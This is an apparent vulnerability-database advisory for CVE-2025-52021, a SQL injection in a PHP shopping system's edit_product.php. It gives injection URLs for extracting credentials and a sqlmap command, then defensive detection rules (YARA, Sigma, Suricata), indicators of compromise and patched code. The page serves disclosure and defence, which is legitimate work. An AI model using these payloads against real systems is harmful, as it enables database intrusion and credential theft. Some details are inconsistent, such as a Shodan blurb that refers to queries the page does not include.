CVE-2025-52021
Executive Summary
CVE-2025-52021 is a critical SQL Injection vulnerability in the PuneethReddyHC Online Shopping System Advanced 1.0, specifically within the edit_product.php file. The product_id GET parameter is passed directly into a SQL query without sanitization or parameterization, allowing unauthenticated remote attackers to execute arbitrary SQL commands. This can lead to full database compromise, including extraction of user credentials, payment data, and administrative access. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, and no required privileges or user interaction. No official patch exists, and the vendor has not responded to disclosure attempts. Public proof-of-concept code is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a custom PHP application, not a package from NPM, PyPI, Go, or Ruby. However, the application may rely on third-party PHP libraries or themes. Users should audit all dependencies for known vulnerabilities and ensure no outdated or unmaintained components are in use.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database takeover. Public exploit code accelerates weaponization.
Deep Dive & Mechanics
The vulnerability resides in edit_product.php. The product_id parameter from the HTTP GET request is directly concatenated into a SQL query without any sanitization, prepared statements, or parameterized queries. A typical vulnerable code snippet would look like:
$id = $_GET['product_id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
An attacker can inject SQL by appending malicious payloads to the product_id parameter, such as:
http://target.com/edit_product.php?product_id=1 UNION SELECT username,password FROM users
This allows the attacker to retrieve arbitrary data from the database, modify records, or even execute operating system commands if the database user has sufficient privileges.
Vulnerable vs. Patched Code
Vulnerable Code (edit_product.php):
<?php
$id = $_GET['product_id'];
$sql = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>
Patched Code (using prepared statements):
<?php
$id = $_GET['product_id'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user input.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running PuneethReddyHC Online Shopping System Advanced 1.0
- Network access to the web server
Exploitation Steps:
Identify the vulnerable endpoint:
http://target.com/edit_product.php?product_id=1Test for SQL injection using a simple payload:
http://target.com/edit_product.php?product_id=1'If an error is returned (e.g.,
You have an error in your SQL syntax), the endpoint is vulnerable.Extract database version:
http://target.com/edit_product.php?product_id=1 UNION SELECT @@version,2,3Extract table names:
http://target.com/edit_product.php?product_id=1 UNION SELECT table_name,2,3 FROM information_schema.tablesExtract user credentials:
http://target.com/edit_product.php?product_id=1 UNION SELECT username,password,3 FROM users
Example SQLMap command:
sqlmap -u "http://target.com/edit_product.php?product_id=1" --batch --dbs
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for abnormal GET requests to
edit_product.phpcontaining SQL keywords (UNION, SELECT, OR, AND, etc.). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Use database activity monitoring to detect anomalous queries.
Defense:
- Immediately apply input validation and parameterized queries (see patched code).
- Restrict database user privileges to the minimum required.
- Implement a Content Security Policy (CSP) and use HTTP-only cookies.
- Regularly audit code for similar vulnerabilities.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/edit_product.phpwithproduct_idcontaining SQL keywords (e.g.,UNION,SELECT,OR 1=1). - Unusual database error messages in HTTP responses (e.g.,
You have an error in your SQL syntax).
File IOCs:
- Modified
edit_product.phpfile (if attacker uploads a webshell). - Suspicious files in the web root (e.g.,
cmd.php,shell.php).
Log IOCs:
- Web server logs showing repeated requests to
edit_product.phpwith varyingproduct_idvalues. - Database logs showing queries with
UNIONorORclauses originating from the web application user.
Detection Engineering
YARA Rule
rule CVE_2025_52021_SQLi_Detect {
meta:
description = "Detects SQL injection attempts targeting edit_product.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52021"
strings:
$s1 = "edit_product.php" nocase
$s2 = "product_id=" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "OR" nocase
$s6 = "1=1" nocase
condition:
$s1 and $s2 and ($s3 or $s4 or ($s5 and $s6))
}
Sigma Rule
title: SQL Injection Attempt on edit_product.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-52021
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-stem: '/edit_product.php'
cs-uri-query|contains: 'product_id='
keywords:
- 'UNION'
- 'SELECT'
- 'OR 1=1'
- 'OR 1=2'
- 'AND 1=1'
condition: selection and keywords
falsepositives:
- Legitimate use of product IDs containing these strings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-52021 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/edit_product.php"; http_uri; content:"product_id="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1|AND\s+1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application from the internet until a fix is applied.
- Apply the patched code (prepared statements) to
edit_product.phpand audit all other PHP files for similar vulnerabilities. - Change all database credentials and revoke any unnecessary privileges.
Long-Term Fixes:
- Replace all raw SQL queries with parameterized queries or stored procedures.
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Conduct a full security audit of the application code.
- Consider migrating to a maintained e-commerce platform.
Vendor Communication:
- Since the vendor is unresponsive, users should fork the repository and apply patches independently, or switch to an alternative solution.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.